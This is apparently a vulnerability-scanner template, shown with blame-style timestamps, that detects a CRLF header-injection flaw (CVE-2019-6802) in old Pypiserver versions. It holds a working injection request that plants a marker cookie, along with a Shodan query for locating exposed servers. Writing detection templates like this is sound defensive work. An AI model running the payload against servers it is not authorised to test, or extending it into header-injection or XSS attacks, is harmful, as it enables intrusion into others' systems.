2022-12-05 23:32:40 +00:00
id : CVE-2019-6802
info :
2023-04-03 20:26:07 +00:00
name : Pypiserver <1.2.5 - Carriage Return Line Feed Injection
2022-12-05 23:32:40 +00:00
author : 0x_Akoko
severity : medium
2022-12-06 09:22:05 +00:00
description : |
2023-04-03 20:26:07 +00:00
Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.
2023-09-06 12:53:28 +00:00
remediation : |
Upgrade to Pypiserver version 1.2.5 or later.
2022-12-05 23:32:40 +00:00
reference :
- https://vuldb.com/?id.130257
2022-12-08 09:40:41 +00:00
- https://github.com/pypiserver/pypiserver/issues/237
2023-04-03 20:26:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-6802
2022-12-05 23:32:40 +00:00
classification :
2022-12-08 09:40:41 +00:00
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-12-05 23:32:40 +00:00
cve-id : CVE-2019-6802
2023-07-11 19:49:27 +00:00
cwe-id : CWE-74
epss-score : 0.00113
2024-01-14 13:49:27 +00:00
epss-percentile : 0.44613
2023-09-06 12:53:28 +00:00
cpe : cpe:2.3:a:python:pypiserver:*:*:*:*:*:*:*:*
2022-12-06 09:22:05 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:53:28 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : python
product : pypiserver
2023-09-06 12:53:28 +00:00
shodan-query : html:"pypiserver"
2023-12-05 09:50:33 +00:00
tags : cve,cve2019,crlf,pypiserver,python
2022-12-05 23:32:40 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-05 23:32:40 +00:00
- method : GET
path :
- "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"
2022-12-06 06:25:31 +00:00
2022-12-05 23:32:40 +00:00
matchers :
2023-09-29 08:16:22 +00:00
- type : regex
2022-12-05 23:32:40 +00:00
part : header
2023-09-29 08:54:46 +00:00
regex :
- "^Set-Cookie: crlfinjection=1;"
2024-01-14 14:05:19 +00:00
# digest: 4b0a00483046022100985808918103783336d995d2cea0dcf1fe6ed7ecbe7dcde4e161d2cb040c7536022100f809eb9ac93fdfe7a5f1ca1533544922b188c0ab3e6d09239b99317c764a3596:922c64590222798bb761d5b6d8e72950